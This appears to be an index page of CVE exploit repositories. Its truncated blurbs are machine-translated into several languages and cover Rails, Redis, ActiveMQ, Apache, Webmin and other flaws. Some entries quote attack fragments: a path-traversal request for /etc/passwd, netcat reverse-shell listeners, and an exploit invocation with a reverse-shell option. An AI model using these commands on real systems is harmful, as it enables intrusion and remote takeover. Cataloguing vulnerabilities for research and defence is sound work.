CVE-2016-2098

CVE-2016-2098 Action Pack in Ruby on Rails vor 3.2.22.2, 4.x vor 4.1.14.2 und 4.2.x vor 4.2.5.2 erlaubt es Remote-Angreifern, beliebigen Ruby-Code auszuführen, indem sie die uneingeschränkte Nutzung der render-Methode der Anwendung ausnutzen. Ressourcen https://vulners.com/cve/CVE-2016-2098...

CVE-2020-16947

CVE-2020-16947 Diese Sicherheitslücke tritt in Outlook 2019 16.0.13231.20262 auf, installiert unter Windows 10 1909 x64 Kurzzusammenfassung; Ich habe diesen Fehler mit dem winafl-Fuzzer gefunden. Der Fehler trat beim Parsen von HTML-Inhalten auf. Wenn ein Angreifer diesen Exploit erfolgreich...

CVE-2025-49844

CVE-2025-49844 - RediShell Redis Lua स्क्रिप्टिंग में use-after-free, जो रिमोट कोड निष्पादन की ओर ले जाता है। CVE का सारांश Redis एक ओपन सोर्स, इन-मेमोरी डेटाबेस है। CVE-2025-49844 Redis के एम्बेडेड Lua स्क्रिप्टिंग इंजन में एक use-after-free भेद्यता है। Lua स्क्रिप्टिंग तक पहुँच रखने वाला एक...

CVE-2023-37756-CWE-521-lead-to-malicious-plugin-upload-in-the-i-doit-Pro-25-and-below

CVE-2023-37756 – Requisito di password debole nell'admin-center che porta al caricamento di plugin dannosi in i-doit Pro 25 e versioni precedenti i-doit Pro 25 e versioni precedenti sono vulnerabili a una vulnerabilità di requisiti di password deboli nell'admin-center e al caricamento di plugin...

CVE-2023-46604

CVE-2023-46604 قم بإعداد docker-compose يحتوي على صورتين وهما جهاز الضحية والجهاز الهدف وفقًا للبيئة المطلوبة على جهاز الضحية، قم بتشغيل ActiveMQ انتقل إلى جهاز المهاجم: • قم بتشغيل خدمة HTTP لإرسال poc: python3 -m http.server • استخدم netcat للاستماع إلى الاتصال القادم إلى جهاز المهاجم nc -nlvp...

es_inject

CVE-2014-3120 Elastic Search Esecuzione Remota di Codice Questo progetto dimostra la vulnerabilità/configurazione errata CVE-2014-3120. Consente di leggere e aggiungere contenuti a file sul sistema che ospita ES, purché l'utente che esegue ES abbia accesso ad essi. Note Non richiede un server web...

CVE-2024-51568---CyberPanel-Command-Injection-Nuclei-Template

CVE-2024-51568 - CyberPanel Command Injection PoC Eine Proof-of-Concept-Umgebung und Nuclei-Vorlage zum Testen von CVE-2024-51568, einer kritischen Pre-Authentication-Command-Injection-Schwachstelle in CyberPanel. Schwachstellendetails CVE: CVE-2024-51568 Schweregrad: Kritisch CVSS 9.8 Typ:...

CVE-2022-41544

CVE-2022-41544 Script di Exploit Questo repository contiene uno script per sfruttare la vulnerabilità CVE-2022-41544 in GetSimple CMS. Lo script esegue diversi passaggi per verificare la presenza di vulnerabilità, divulgare le chiavi API, impostare i cookie, ottenere i token CSRF, caricare una...

CVE-2021-41773-Apache-2.4.49-

CVE-2021-41773-Apache-2.4.49- Test di penetrazione 1.1. Path Traversal Lettura del file /etc/passwd !/bin/bash Script: exploitpathtraversal.sh Obiettivo: leggere il file /etc/passwd da Apache 2.4.49 TARGETIP="128.0.0.100" URL="http://$TARGETIP/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" echo "+...

CVE-2021-23369

CVE-2021-23369 Vulnerabilità Handlebars CVE-2021-23369 pip install requests Inserisci l'URL : Descrizione della vulnerabilità Il pacchetto handlebars prima della versione 4.7.7 è vulnerabile all'esecuzione remota di codice RCE quando si selezionano determinate opzioni di compilazione per compilar...

HuaWei_Route_HG532_RCE_CVE-2017-17215

HuaWeiRouteHG532RCECVE-2017-17215 Implementazione del POC di iniezione di comandi del router Huawei HG532 CVE-2017-17215 con POCsuite e goland Implementazione con goland Implementazione con POCsuite Per la scrittura e il codice, visitare: https://blog.csdn.net/qq41490561/article/details/127659604...

CVE-2024-53677

CVE-2024-53677 - Ambiente di laboratorio per l'analisi delle cause profonde di Apache Struts 2 Questo repository fornisce un ambiente basato su Docker per riprodurre la vulnerabilità CVE-2024-53677 in Apache Struts 2. Questa vulnerabilità comporta un path traversal attraverso la funzionalità di...

CVE-2019-15107

تطبيقات Webmin للإصدارات 1.890 وما دونها معرضة لثغرة تنفيذ التعليمات البرمجية عن بُعد دون مصادقة. CVE-2019-15107. المرجع: https://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE...

CVE-2025-54123

CVE-2025-54123 Hoverfly CVE RCE Verwendung Befehlsausführung: root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Reverse-Shell: root@kitploit: nc -lvnp 443 root@kitploit: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP...

pfBlockerNg-CVE-2022-40624

pfBlockerNg-CVE-2022-40624 Contesto pfBlockerNG è la nuova generazione di pfBlocker con le seguenti funzionalità: 1. Gestire le origini degli elenchi IPv4/v6 nei formati 'Deny, Permit o Match'. 2. Database GeoIP di MaxMind Inc. versione gratuita GeoLite2. 3. Miglioramenti di deduplicazione,...

unrealircd3.2.8.1-local-exploit

Getestet auf Metasploitable 3 VERWENDUNG Ruby Auf der Shell des Angreifers root@kitploit: nc -nlvp 1111 Auf der Shell des Opfers root@kitploit: ruby exploit.rb 127.0.0.1 Erwartete Ausgabe auf der Shell des Angreifers root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN...

CVE-2025-55182

Detector de Vulnerabilidade RCE em RSC/Next.js e Extensão Chrome PoC CVE-2025-55182 & CVE-2025-66478 Este repositório contém um kit de ferramentas de pesquisa de segurança projetado para detectar e demonstrar PoC as vulnerabilidades RCE recentemente divulgadas que afetam React Server Components R...

magnus_billing_7.3.0_RCE_CVE-2023-30258

magnusbilling7.3.0RCECVE-2023-30258 In magnus billing 7.3.0 gibt es eine Schwachstelle für Remote-Codeausführung im Parameter "democ" der Ressource "icepay.php", bei der Sie die Abfrage verlassen und den gewünschten Befehl ausführen können. VERWUNDBARER CODE root@kitploit: if isset$GET'democ' if...

CVE-2019-16759

CVE-2019-16759 Vbulletin RCE-Exploits...

cve-2017-9822

CVE-2017-9822 Wichtige Informationen Umgebung einrichten Debug einrichten Analyse Debug XmlSerializer Angriffs-Gadget ObjectDataProvider ResourceDictionary Von unsicherer XML-Deserialisierung zu RCE CVE-2017-9822 DNN auch bekannt als DotNetNuke vor Version 9.1.1 ermöglicht Remote-Code-Ausführung...